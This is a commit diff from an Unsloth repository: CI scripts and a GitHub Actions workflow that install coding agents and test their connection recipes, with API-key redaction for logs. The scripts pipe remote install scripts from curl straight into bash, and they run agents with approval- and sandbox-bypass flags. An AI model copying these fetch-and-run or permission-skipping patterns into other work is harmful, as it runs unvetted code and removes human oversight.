ceos/unsloth
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

Merge remote-tracking branch 'origin/main' into docker-blackwell-build

Browse source 
# Conflicts:
#	unsloth/models/vision.py
This commit is contained in:
Daniel Han 2026-07-05 13:27:06 +00:00
commit 08a1bf6680
157 changed files with 28085 additions and 3619 deletions
Download patch file Download diff file Expand all files Collapse all files

274
.github/scripts/agent-guides-drive.sh vendored
View file

@ -6,12 +6,12 @@
# Local Agent Guides CI. All failures from here are failure class (c)
# "guide drift": the server preflight already passed and the agent CLI
# already installed, so a failure here means the documented recipe in
# unsloth_cli/commands/connect.py no longer produces a working flow.
# unsloth_cli/commands/start.py no longer produces a working flow.
#
# Self-updating: for the 5 agents with a connect.py recipe we obtain the
# exact env + command from `unsloth connect <agent> --no-launch` and run
# THAT, so a recipe change is exercised automatically. Pi (no connect.py
# command at HEAD) is driven by a hand-written recipe.
# Self-updating: for all six agents (claude, codex, hermes, openclaw,
# opencode, pi) we obtain the exact env + command from
# `unsloth start <agent> --no-launch` and run THAT, so a recipe change is
# exercised automatically.
#
# Every agent invocation is wrapped in `timeout` so a headless-TTY prompt
# can never hang the runner -- a timeout is reported as guide drift with a
@ -53,14 +53,14 @@ REDACTED_DIR="$REPO_ROOT/redacted-configs"
WORKDIR_BASE="$REPO_ROOT/agent-workdir"
CACHE_HELPER="$SCRIPT_DIR/assert-prompt-cache.sh"
mkdir -p "$LOGS_DIR" "$REDACTED_DIR"
CONNECT_REF="unsloth_cli/commands/connect.py"
CONNECT_REF="unsloth_cli/commands/start.py"
# Prefill-shrinking flags for Claude Code. The heavyweight agents send
# multi-thousand-token system prompts + full tool schemas, which on a CPU-only
# runner is minutes of prefill per model round-trip (~16 tok/s for a 4B model).
# Replacing the ~5.7k default system prompt with a tiny one (--system-prompt-file)
# and restricting tools cuts the prefill to a few hundred tokens so it completes
# quickly on CPU. These only shape the request size; the connect.py recipe
# quickly on CPU. These only shape the request size; the start.py recipe
# (endpoint, auth, model) is still exercised end to end.
#
# The bulk of Claude Code's prompt is the built-in tool JSON schemas: measured
@ -105,6 +105,13 @@ redact() {
done
}
# Print a file to the log with the key scrubbed, without mutating it (the raw file is
# still needed to parse the real env). Use this instead of `cat` for any transcript that
# carries an `export UNSLOTH_API_KEY=...` line, so a live key never reaches Actions logs.
cat_redacted() {
sed "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$1"
}
# A reply must be non-empty and free of connection/auth errors.
assert_reply() {
local out="$1"
@ -131,45 +138,29 @@ run_timed() { # $1=outfile, rest=command
return "$rc"
}
# ── Pi: no connect.py command at HEAD -> hand-written recipe ──────────────
write_pi_config() {
if unsloth connect pi --help >/dev/null 2>&1; then
# Tripwire: once a real recipe exists, the hand-written config would mask any
# drift in it, defeating the point of this CI. Fail hard so the cell is
# migrated to the self-updating `unsloth connect pi --no-launch` path.
guide_fail "connect.py now ships a 'pi' command -- migrate this CI cell to the 'unsloth connect pi --no-launch' path so the documented recipe is exercised (the hand-written Pi config no longer reflects it)"
fi
mkdir -p "$HOME/.pi/agent"
python3 - "$UNSLOTH_BASE_URL" "$UNSLOTH_API_KEY" "$UNSLOTH_MODEL_ID" <<'PY'
import json, os, sys
base, key, model = sys.argv[1], sys.argv[2], sys.argv[3]
cfg = {"providers": {"unsloth": {
"api": "openai-completions",
"baseUrl": f"{base}/v1",
"apiKey": key,
"models": [{"id": model}],
}}}
path = os.path.expanduser("~/.pi/agent/models.json")
with open(path, "w") as fh:
json.dump(cfg, fh, indent=2)
PY
cp "$HOME/.pi/agent/models.json" "$REDACTED_DIR/pi-models.json" 2>/dev/null || true
redact "$REDACTED_DIR/pi-models.json"
# Read a value from an `export VAR=...` line in the connect --no-launch output.
# `unsloth start` writes each agent's session config off the user's ~ and points
# at it through a relocation env var (CODEX_HOME / OPENCODE_CONFIG /
# OPENCLAW_CONFIG_PATH), so the contract checks read the path from here.
raw_env() { # $1 = var name -> value (one shlex-quote layer stripped)
local raw="$LOGS_DIR/connect-${AGENT}.txt"
local v; v="$(sed -n "s/^export $1=//p" "$raw" | tail -1)"
v="${v#\'}"; v="${v%\'}"; printf '%s' "$v"
}
# ── 5-agent connect.py path: parse env + command from --no-launch ─────────
# ── 5-agent start.py path: parse env + command from --no-launch ─────────
# Populates globals CONNECT_ENV (export/unset lines) and CONNECT_CMD (the
# launch command on the last printed line), and runs connect.py's config
# writers as a side effect (it writes ~/.codex, ~/.claude, etc.).
# launch command on the last printed line), and runs start.py's config
# writers as a side effect (it writes each agent's relocated session config).
parse_connect() {
local raw="$LOGS_DIR/connect-${AGENT}.txt"
if ! unsloth connect "$AGENT" --no-launch --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then
cat "$raw"
guide_fail "'unsloth connect ${AGENT} --no-launch' exited non-zero"
if ! unsloth start "$AGENT" --no-launch --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then
cat_redacted "$raw"
guide_fail "'unsloth start ${AGENT} --no-launch' exited non-zero"
fi
echo "[$AGENT] connect --no-launch printed:"; cat "$raw"
echo "[$AGENT] connect --no-launch printed:"; cat_redacted "$raw"
CONNECT_ENV="$(grep -E '^(export |unset )' "$raw" || true)"
# The launch command is the last non-export, non-status line. connect.py
# The launch command is the last non-export, non-status line. start.py
# prints "Studio <url> · model <id>" and "Updated ..." status lines first.
CONNECT_CMD="$(grep -vE '^(export |unset |Studio |Updated |Disabled |Warning|Loading)' "$raw" \
| grep -E '[^[:space:]]' | tail -1)"
@ -177,45 +168,63 @@ parse_connect() {
redact "$raw"
}
# Cross-check the documented contract knobs so silent connect.py changes
# Cross-check the documented contract knobs so silent start.py changes
# (env-var rename, wire_api flip, attribution setting drop) also fail/flag.
crosscheck_contract() {
local raw="$LOGS_DIR/connect-${AGENT}.txt"
local cfg home
case "$AGENT" in
codex)
grep -q 'UNSLOTH_STUDIO_AUTH_TOKEN' "$raw" \
|| guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (connect.py _CODEX_ENV_KEY)"
if [ -f "$HOME/.codex/config.toml" ]; then
grep -q 'wire_api = "responses"' "$HOME/.codex/config.toml" \
|| guide_fail "Codex wire_api is no longer \"responses\" in ~/.codex/config.toml"
cp "$HOME/.codex/config.toml" "$REDACTED_DIR/codex-config.toml"
|| guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (start.py _CODEX_ENV_KEY)"
home="$(raw_env CODEX_HOME)"
# An empty relocation var would make cfg "/config.toml" and silently
# skip the [ -f ] contract check below; fail loudly instead.
[ -n "$home" ] || guide_fail "CODEX_HOME missing from connect output (start.py codex())"
cfg="$home/config.toml"
if [ -f "$cfg" ]; then
grep -q 'wire_api = "responses"' "$cfg" \
|| guide_fail "Codex wire_api is no longer \"responses\" in \$CODEX_HOME/config.toml"
cp "$cfg" "$REDACTED_DIR/codex-config.toml"
fi
grep -q 'codex --oss --profile unsloth_api' "$raw" \
|| echo "::warning::Codex launch command changed from 'codex --oss --profile unsloth_api'"
;;
claude)
grep -q 'ANTHROPIC_AUTH_TOKEN' "$raw" \
|| guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (connect.py claude())"
if [ -f "$HOME/.claude/settings.json" ]; then
grep -q '"CLAUDE_CODE_ATTRIBUTION_HEADER"' "$HOME/.claude/settings.json" \
|| echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER not written to ~/.claude/settings.json (ensure_claude_attribution_header)"
cp "$HOME/.claude/settings.json" "$REDACTED_DIR/claude-settings.json"
fi
|| guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (start.py claude())"
grep -q 'CLAUDE_CODE_ATTRIBUTION_HEADER' "$raw" \
|| echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER no longer set for the session (start.py claude())"
;;
hermes)
grep -q 'UNSLOTH_API_KEY' "$raw" \
|| guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (connect.py _HERMES_ENV_KEY)"
[ -f "$HOME/.hermes/config.yaml" ] && cp "$HOME/.hermes/config.yaml" "$REDACTED_DIR/hermes-config.yaml"
|| guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (start.py _HERMES_ENV_KEY)"
home="$(raw_env HERMES_HOME)"
[ -n "$home" ] || guide_fail "HERMES_HOME missing from connect output (start.py hermes())"
cfg="$home/config.yaml"
[ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/hermes-config.yaml"
;;
openclaw)
if [ -f "$HOME/.openclaw/openclaw.json" ]; then
grep -q '"openai-completions"' "$HOME/.openclaw/openclaw.json" \
cfg="$(raw_env OPENCLAW_CONFIG_PATH)"
if [ -n "$cfg" ] && [ -f "$cfg" ]; then
grep -q '"openai-completions"' "$cfg" \
|| echo "::warning::OpenClaw provider api is no longer 'openai-completions' (write_openclaw_config)"
cp "$HOME/.openclaw/openclaw.json" "$REDACTED_DIR/openclaw.json"
cp "$cfg" "$REDACTED_DIR/openclaw.json"
fi
;;
opencode)
[ -f "$HOME/.config/opencode/opencode.json" ] && cp "$HOME/.config/opencode/opencode.json" "$REDACTED_DIR/opencode.json"
cfg="$(raw_env OPENCODE_CONFIG)"
[ -n "$cfg" ] && [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/opencode.json"
;;
pi)
# Pi has no config-dir env var; the session is HOME-relocated, and the
# provider config lives at $HOME/.pi/agent/models.json.
cfg="$(raw_env HOME)/.pi/agent/models.json"
if [ -f "$cfg" ]; then
grep -q '"openai-completions"' "$cfg" \
|| echo "::warning::Pi provider api is no longer 'openai-completions' (write_pi_config)"
cp "$cfg" "$REDACTED_DIR/pi-models.json"
fi
;;
esac
redact "$REDACTED_DIR"/* 2>/dev/null || true
@ -229,16 +238,23 @@ crosscheck_contract() {
# Hermes: an explicit empty cli toolset disables all tools (and drops the
# tool-gated guidance blocks), so -z sends ~300 tokens instead of thousands.
# hermes ships a DEFAULT config.yaml that already has a populated
# platform_toolsets, and `unsloth connect` merges into it, so we must override
# cli (not just append). That needs a YAML parser, and the runner's bare
# python3 has no PyYAML -- but the venv that ships `unsloth` does (connect.py
# imports yaml), so run the patch with that interpreter.
# Hermes enables its default cli toolset when the session config does not pin one,
# so we must set platform_toolsets.cli explicitly to [] (not just append) to get
# zero tools. That needs a YAML parser, and the runner's bare python3 has no
# PyYAML -- but the venv that ships `unsloth` does (start.py imports yaml), so run
# the patch with that interpreter. We patch the relocated $HERMES_HOME/config.yaml
# that `unsloth start` printed, not the user's ~/.hermes.
# (-z reads platform_toolsets.cli; --ignore-rules is a no-op under -z.)
patch_hermes_tools() { # $1 = none|default
# Check the raw var BEFORE appending /config.yaml: the joined path is never
# empty, so the old guard could not fire and the patcher would die on
# "/config.yaml" with a bare traceback instead of this clear failure.
local home; home="$(raw_env HERMES_HOME)"
[ -n "$home" ] || guide_fail "Hermes HERMES_HOME missing from connect output (start.py hermes())"
local cfg; cfg="$home/config.yaml"
# Find a python that can import yaml. The runner's bare python3 cannot, but the
# interpreter in the `unsloth` console-script shebang provably can (it runs
# connect.py's write_hermes_config, which imports yaml). Try that first, then
# start.py's write_hermes_config, which imports yaml). Try that first, then
# any python on PATH, then the venv sibling, picking the first with PyYAML.
local cand py="" shebang
shebang="$(head -1 "$(command -v unsloth)" 2>/dev/null | sed -n 's/^#![[:space:]]*//p' | awk '{print $1}')"
@ -247,13 +263,13 @@ patch_hermes_tools() { # $1 = none|default
{ [ -x "$cand" ] || command -v "$cand" >/dev/null 2>&1; } || continue
if "$cand" -c 'import yaml' 2>/dev/null; then py="$cand"; break; fi
done
[ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch ~/.hermes/config.yaml"
echo "[hermes] patching config with $py"
"$py" - "$1" <<'PY'
[ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch the hermes session config"
echo "[hermes] patching $cfg with $py"
"$py" - "$1" "$cfg" <<'PY'
import os, sys
import yaml
mode = sys.argv[1]
p = os.path.expanduser("~/.hermes/config.yaml")
p = sys.argv[2]
cfg = (yaml.safe_load(open(p)) or {}) if os.path.exists(p) else {}
ts = cfg.get("platform_toolsets")
if not isinstance(ts, dict):
@ -274,10 +290,14 @@ PY
# drop the auto-injected AGENTS.md/SOUL.md bootstrap (the bulk of the prompt) for
# both modes. --agent must reference a defined agent, so write it before invoking.
patch_openclaw_agent() { # $1 = notools|tools
python3 - "$1" <<'PY'
# OpenClaw reads its config from the relocated OPENCLAW_CONFIG_PATH that
# `unsloth start` printed, so patch THAT file (not the user's ~/.openclaw).
local cfg; cfg="$(raw_env OPENCLAW_CONFIG_PATH)"
[ -n "$cfg" ] || guide_fail "OpenClaw OPENCLAW_CONFIG_PATH missing from connect output (start.py openclaw())"
python3 - "$1" "$cfg" <<'PY'
import os, sys, json
mode = sys.argv[1]
p = os.path.expanduser("~/.openclaw/openclaw.json")
p = sys.argv[2]
cfg = json.load(open(p)) if os.path.exists(p) else {}
agents = cfg.setdefault("agents", {})
agents.setdefault("defaults", {})["skipBootstrap"] = True
@ -293,20 +313,24 @@ print(f"[openclaw] agent ci tools = {agent.get('tools', 'default')}")
PY
}
# Build an invoke script that applies connect.py's env then runs the launch
# Build an invoke script that applies start.py's env then runs the launch
# command (with extra args appended) under bash. We do NOT eval connect's env
# into this shell; we write it into a one-shot script so the export/unset
# semantics are exactly what connect.py printed. The script path is absolute
# semantics are exactly what start.py printed. The script path is absolute
# so it is valid even when the caller has cd'd into a scratch work dir.
invoke_via_connect() { # $1=outfile, rest=extra args appended to the command
local out="$1"; shift
local script="$LOGS_DIR/invoke-${AGENT}.sh"
local real; real="$(mktemp)"
# CONNECT_ENV_EXTRA / CONNECT_CMD_OVERRIDE let a caller (attribution-ab) flip a
# session knob without editing the user's config; empty -> use what start.py emitted.
local cmd="${CONNECT_CMD_OVERRIDE:-$CONNECT_CMD}"
{
echo "set -uo pipefail"
echo "$CONNECT_ENV"
[ -n "${CONNECT_ENV_EXTRA:-}" ] && echo "$CONNECT_ENV_EXTRA"
# Append extra args (the prompt / flags) to the launch command verbatim.
printf '%s' "$CONNECT_CMD"
printf '%s' "$cmd"
local a
for a in "$@"; do printf ' %q' "$a"; done
printf '\n'
@ -318,7 +342,9 @@ invoke_via_connect() { # $1=outfile, rest=extra args appended to the command
# Writing the redacted copy up front keeps the key out of the artifact even if
# the run times out (run_timed exits before returning here).
cp "$real" "$script"; redact "$script"
echo "[$AGENT] invoking (timeout ${TIMEOUT}s): $CONNECT_CMD $*"
# The connect one-liner now carries the key as an inline env assignment; scrub it on
# the way to the log (the executed $real keeps the live value).
echo "[$AGENT] invoking (timeout ${TIMEOUT}s): ${cmd//${UNSLOTH_API_KEY}/<REDACTED>} $*"
run_timed "$out" bash "$real"
local rc=$?
rm -f "$real"
@ -332,27 +358,23 @@ case "$MODE" in
connection)
PROMPT='Reply with exactly the single word: pong'
OUT="$LOGS_DIR/${AGENT}-connection.txt"
if [ "$AGENT" = "pi" ]; then
write_pi_config
run_timed "$OUT" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$PROMPT"
else
parse_connect
crosscheck_contract
# claude/codex run in print mode via the flags connect.py emits
# (claude -p / codex exec). For agents whose default subcommand prints
# to stdout we pass the prompt through ctx.args.
case "$AGENT" in
claude) invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;;
codex) invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;;
opencode) invoke_via_connect "$OUT" run "$PROMPT" ;;
hermes) patch_hermes_tools none
invoke_via_connect "$OUT" -z "$PROMPT" ;;
openclaw) patch_openclaw_agent notools
invoke_via_connect "$OUT" agent --local --agent ci \
--model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;;
*) invoke_via_connect "$OUT" "$PROMPT" ;;
esac
fi
parse_connect
crosscheck_contract
# claude/codex run in print mode via the flags start.py emits
# (claude -p / codex exec). For agents whose default subcommand prints
# to stdout we pass the prompt through ctx.args.
case "$AGENT" in
claude) invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;;
codex) invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;;
opencode) invoke_via_connect "$OUT" run "$PROMPT" ;;
pi) invoke_via_connect "$OUT" -p "$PROMPT" ;;
hermes) patch_hermes_tools none
invoke_via_connect "$OUT" -z "$PROMPT" ;;
openclaw) patch_openclaw_agent notools
invoke_via_connect "$OUT" agent --local --agent ci \
--model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;;
*) invoke_via_connect "$OUT" "$PROMPT" ;;
esac
# A non-zero exit from the documented launch command is drift even if it
# printed something: a benign-looking "command not found" / usage dump would
# otherwise slip past assert_reply (which only flags empty/error-keyword text).
@ -371,22 +393,18 @@ case "$MODE" in
T1='Create a file named hello.py in the current directory whose entire contents are a single line: print("Hello"). Do not run it.'
T2='Run hello.py with python and show me the exact output.'
# The connect.py recipe writers + crosscheck must see the repo; run them
# The start.py recipe writers + crosscheck must see the repo; run them
# from the repo root BEFORE cd-ing into the scratch work dir.
if [ "$AGENT" != "pi" ]; then
parse_connect
crosscheck_contract
# File-edit needs real tools, so we cannot zero them as in connection.
# hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md
# bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work
# dir is empty, so no project context files are auto-loaded either.
case "$AGENT" in
hermes) patch_hermes_tools default ;;
openclaw) patch_openclaw_agent tools ;;
esac
else
write_pi_config
fi
parse_connect
crosscheck_contract
# File-edit needs real tools, so we cannot zero them as in connection.
# hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md
# bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work
# dir is empty, so no project context files are auto-loaded either.
case "$AGENT" in
hermes) patch_hermes_tools default ;;
openclaw) patch_openclaw_agent tools ;;
esac
# Drive from inside the work dir so the agent edits files there. All log
# writes use absolute $LOGS_DIR, so cwd does not matter for them.
@ -395,7 +413,14 @@ case "$MODE" in
invoke_turn() { # $1=outfile $2=continue? $3=prompt
local out="$1" cont="$2" prompt="$3"
case "$AGENT" in
pi) run_timed "$out" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$prompt" ;;
pi)
# Pi continues the previous session with -c; provider/model come from
# the parsed `unsloth start pi` recipe (CONNECT_CMD), not hardcoded here.
if [ "$cont" = "continue" ]; then
invoke_via_connect "$out" -p --continue "$prompt"
else
invoke_via_connect "$out" -p "$prompt"
fi ;;
claude)
# --dangerously-skip-permissions lets headless claude actually use the
# Write/Bash tools (otherwise it blocks on an approval prompt and emits
@ -466,33 +491,32 @@ case "$MODE" in
# right before the measured turn, so an earlier turn's reuse can't leak in.
LLAMA_LOG_DIR="${UNSLOTH_LLAMA_LOG_DIR:-$HOME/.unsloth/studio/logs/llama-server}"
export LLAMA_LOG_DIR
parse_connect # writes ~/.claude/settings.json (header=0) + env
parse_connect # prints session env + suppression flags (no ~/.claude write)
crosscheck_contract
PROMPT='Reply with exactly the single word: pong'
# Phase A: header DISABLED (=0, the documented setting) -> expect a HIT on
# the continued turn. connect.py's ensure_claude_attribution_header() set 0.
# Phase A: the suppression start.py ships (CLAUDE_CODE_ATTRIBUTION_HEADER=0 +
# --exclude-dynamic-system-prompt-sections + --settings overlay) -> expect a
# HIT on the continued turn, since the system-prompt prefix is stable.
invoke_via_connect "$LOGS_DIR/claude-ab-hit-1.txt" -p "$PROMPT" # turn 1 primes
FROM_HIT="$(bash "$CACHE_HELPER" mark)" # offset before turn 2
invoke_via_connect "$LOGS_DIR/claude-ab-hit-2.txt" -p --continue "$PROMPT again"
CACHE_LOG_FROM="$FROM_HIT" bash "$CACHE_HELPER" log HIT
# Phase B: header ENABLED -> expect a MISS. The header prepends a
# per-request-changing attribution line to the system prompt, so the shared
# prefix changes every turn and the KV cache is invalidated (~90% slower);
# this is exactly what the guide flag prevents.
python3 - <<'PY'
import json, os
p = os.path.expanduser("~/.claude/settings.json")
s = json.load(open(p)) if os.path.exists(p) else {}
s.setdefault("env", {})["CLAUDE_CODE_ATTRIBUTION_HEADER"] = "1"
json.dump(s, open(p, "w"), indent=2)
PY
# Phase B: vanilla Claude with the header ENABLED -> expect a MISS. We flip
# the env var to 1 and strip the suppression flags from the launch command
# (without them the dynamic attribution line is included and changes every
# turn, so the shared prefix moves and the KV cache is invalidated, ~90%
# slower). This is session-only: nothing is written to ~/.claude.
CONNECT_ENV_EXTRA='export CLAUDE_CODE_ATTRIBUTION_HEADER=1'
CONNECT_CMD_OVERRIDE="$(printf '%s' "$CONNECT_CMD" \
| sed -E "s/ --exclude-dynamic-system-prompt-sections//; s/ --settings '[^']*'//")"
invoke_via_connect "$LOGS_DIR/claude-ab-miss-1.txt" -p "$PROMPT"
FROM_MISS="$(bash "$CACHE_HELPER" mark)"
invoke_via_connect "$LOGS_DIR/claude-ab-miss-2.txt" -p --continue "$PROMPT again"
CACHE_LOG_FROM="$FROM_MISS" bash "$CACHE_HELPER" log MISS
echo "[claude] attribution A/B OK (header=0 HIT, header=1 MISS)"
unset CONNECT_ENV_EXTRA CONNECT_CMD_OVERRIDE
echo "[claude] attribution A/B OK (suppressed HIT, header=1 MISS)"
;;
*)

33
.github/scripts/agent-guides-install.sh vendored
View file

@ -7,7 +7,7 @@
# is the single biggest source of false reds, so installs retry with
# backoff and the only ::error:: this script can emit is class (b). The
# install recipes mirror the install_hint strings in
# unsloth_cli/commands/connect.py at HEAD.
# unsloth_cli/commands/start.py at HEAD.
#
# Usage: agent-guides-install.sh <agent>
# agent in: claude codex hermes openclaw opencode pi
@ -25,13 +25,14 @@ install_fail() {
}
# npm registry flakiness is common in CI; retry 3x with linear backoff.
# Extra npm flags may precede the package (e.g. npm_retry --ignore-scripts pkg).
npm_retry() {
local pkg="$1" i
local i
for i in 1 2 3; do
if npm install -g "$pkg" >> "$LOG" 2>&1; then
if npm install -g "$@" >> "$LOG" 2>&1; then
return 0
fi
echo "[install] npm install -g $pkg attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG"
echo "[install] npm install -g $* attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG"
sleep "$((i * 10))"
done
return 1
@ -60,30 +61,30 @@ curl_bash() {
echo "[install] agent=$AGENT (log=$LOG)"
case "$AGENT" in
claude)
# connect.py install_hint: curl -fsSL https://claude.ai/install.sh | bash
# start.py install_hint: curl -fsSL https://claude.ai/install.sh | bash
curl_bash "https://claude.ai/install.sh" || install_fail "claude installer failed"
# The installer drops the binary under ~/.local/bin.
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
;;
codex)
# connect.py install_hint: npm install -g @openai/codex
# start.py install_hint: npm install -g @openai/codex
npm_retry "@openai/codex" || install_fail "npm install -g @openai/codex failed"
;;
opencode)
# connect.py install_hint: npm install -g opencode-ai
# start.py install_hint: npm install -g opencode-ai
npm_retry "opencode-ai" || install_fail "npm install -g opencode-ai failed"
;;
openclaw)
# connect.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash
# start.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash
# npm is the more deterministic path in CI and matches the agent's docs;
# fall back to the connect.py curl installer if the npm tag is missing.
# fall back to the start.py curl installer if the npm tag is missing.
if ! npm_retry "openclaw@latest"; then
curl_bash "https://openclaw.ai/install.sh" || install_fail "openclaw install failed (npm + curl)"
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
fi
;;
hermes)
# connect.py install_hint:
# start.py install_hint:
# curl -fsSL .../NousResearch/hermes-agent/main/scripts/install.sh | bash
curl_bash "https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh" \
--non-interactive --skip-setup --skip-browser --no-skills \
@ -91,11 +92,13 @@ case "$AGENT" in
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
;;
pi)
# No connect.py recipe; the agent's documented package name. The CLI moved
# from the now-deprecated @mariozechner scope to @earendil-works (the old
# scope is frozen, so installing it would test a stale Pi against the API).
npm_retry "@earendil-works/pi-coding-agent" \
|| install_fail "npm install -g @earendil-works/pi-coding-agent failed"
# start.py install_hint: npm install -g --ignore-scripts @earendil-works/pi-coding-agent
# (--ignore-scripts matches Pi's documented recipe; exercising the exact hint
# catches guide drift). The CLI moved from the now-deprecated @mariozechner
# scope to @earendil-works (the old scope is frozen, so installing it would
# test a stale Pi against the API).
npm_retry --ignore-scripts "@earendil-works/pi-coding-agent" \
|| install_fail "npm install -g --ignore-scripts @earendil-works/pi-coding-agent failed"
;;
*)
install_fail "unknown agent '$AGENT'"

2
.github/scripts/serve-unsloth-run.sh vendored
View file

@ -27,7 +27,7 @@
#
# Outputs written to $GITHUB_ENV (and echoed):
# UNSLOTH_API_KEY the sk-unsloth-* key minted on the banner
# UNSLOTH_STUDIO_URL http://127.0.0.1:<PORT> (so `unsloth connect`
# UNSLOTH_STUDIO_URL http://127.0.0.1:<PORT> (so `unsloth start`
# finds THIS server, not the hardcoded :8888)
# UNSLOTH_BASE_URL same as UNSLOTH_STUDIO_URL (alias for clarity)
# UNSLOTH_MODEL_ID the canonical id reported by /v1/models

50
.github/workflows/local-agent-guides-ci.yml vendored
View file

@ -6,29 +6,27 @@
# Detects when our local-agent setup recipes drift out of sync with
# `unsloth run`. Boots a real `unsloth run --disable-tools` server and
# drives the coding agents end to end through the *exact* recipes defined
# in unsloth_cli/commands/connect.py (the in-repo source of truth -- there
# is no docs/ tree). Wherever connect.py has a recipe we drive the agent
# via `unsloth connect <agent> --no-launch` and execute what it prints, so
# the test self-updates against connect.py and catches silent recipe drift.
# in unsloth_cli/commands/start.py (the in-repo source of truth -- there
# is no docs/ tree). Wherever start.py has a recipe we drive the agent
# via `unsloth start <agent> --no-launch` and execute what it prints, so
# the test self-updates against start.py and catches silent recipe drift.
#
# Source-of-truth files this workflow guards:
# unsloth_cli/commands/connect.py the `unsloth connect <agent>` recipes
# unsloth_cli/commands/start.py the `unsloth start <agent>` recipes
# unsloth_cli/commands/studio.py the `unsloth run` banner (API Key line)
#
# Failure taxonomy (each surfaced with a distinct ::error:: + the agent name
# + the connect.py location, so a red X is immediately triageable):
# + the start.py location, so a red X is immediately triageable):
# (a) Unsloth server/API regression -- the dialect HTTP preflight fails
# BEFORE the agent runs (or the server never becomes healthy).
# (b) Agent package install failed -- npm/curl install of the CLI failed.
# (c) Guide drift -- preflight passed + install ok, but
# the documented `unsloth connect` flow produced no/garbled output.
# the documented `unsloth start` flow produced no/garbled output.
#
# Agents covered (6): claude, codex, hermes, openclaw, opencode, pi.
# - claude/codex/hermes/openclaw/opencode have a connect.py recipe.
# - pi has NO `unsloth connect pi` command in connect.py at HEAD; it is
# driven by a hand-written recipe and the matrix cell asserts that the
# missing connect recipe is the (known) reason, so the day connect.py
# grows a `pi` command this cell flips to the self-updating path.
# - All six have a `unsloth start <agent>` recipe, so each cell obtains its
# env + command from `unsloth start <agent> --no-launch` and runs THAT
# (self-updating: a recipe change is exercised automatically).
name: Local Agent Guides CI
@ -83,7 +81,7 @@ jobs:
# ═════════════════════════════════════════════════════════════════════
# Job 1: connection
# Per-agent: serve gemma-3-270m, HTTP-preflight the agent's dialect,
# install the agent, run `unsloth connect <agent> --no-launch`, execute
# install the agent, run `unsloth start <agent> --no-launch`, execute
# the emitted recipe with a trivial prompt, assert a non-empty reply.
# Runs on PR + weekly + dispatch. Each matrix cell is its own runner so
# it serves exactly one model on its own port.
@ -103,7 +101,9 @@ jobs:
env:
# gemma-4-E4B (128K context, capable enough to drive every agent for a
# trivial reply; the 270m model produced empty/failed responses for
# codex/openclaw and is below hermes' 64K context floor). Served as a flat
# codex/openclaw). Hermes' 64K context floor no longer constrains the model
# choice: write_hermes_config claims the floor for smaller windows and
# scales compaction back to the real window. Served as a flat
# GGUF file (the -MTP- repo ships no separate draft, so this is plain 4B).
GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF
GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf
@ -209,7 +209,7 @@ jobs:
;;
*)
# OpenAI Chat Completions dialect (hermes/opencode/pi/openclaw).
# OpenClaw's connect.py recipe writes an "openai-completions"
# OpenClaw's start.py recipe writes an "openai-completions"
# provider (write_openclaw_config), so it uses this path, not
# /v1/messages.
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \
@ -227,13 +227,13 @@ jobs:
AGENT: ${{ matrix.agent }}
run: bash .github/scripts/agent-guides-install.sh "$AGENT"
# ── (c) drive the agent via connect.py and assert a reply ──────────
# For the 5 agents with a connect.py recipe we run
# `unsloth connect <agent> --no-launch`, eval its env/unset exports,
# ── (c) drive the agent via start.py and assert a reply ──────────
# For the 5 agents with a start.py recipe we run
# `unsloth start <agent> --no-launch`, eval its env/unset exports,
# then run the printed command with a hard timeout (no headless-TTY
# hang). Pi has no connect recipe, so it is driven by hand and the
# cell asserts that absence is the (known) reason.
- name: Drive ${{ matrix.agent }} via unsloth connect (class-c isolation)
- name: Drive ${{ matrix.agent }} via unsloth start (class-c isolation)
env:
AGENT: ${{ matrix.agent }}
run: bash .github/scripts/agent-guides-drive.sh connection "$AGENT"
@ -248,8 +248,10 @@ jobs:
# `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
# step publishes all of logs/, so scrubbing only studio-logs would leak
# the bearer token in the retained artifact.
# Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
# agent-workdir/ are published by the same upload step.
if [ -n "${UNSLOTH_API_KEY:-}" ]; then
grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
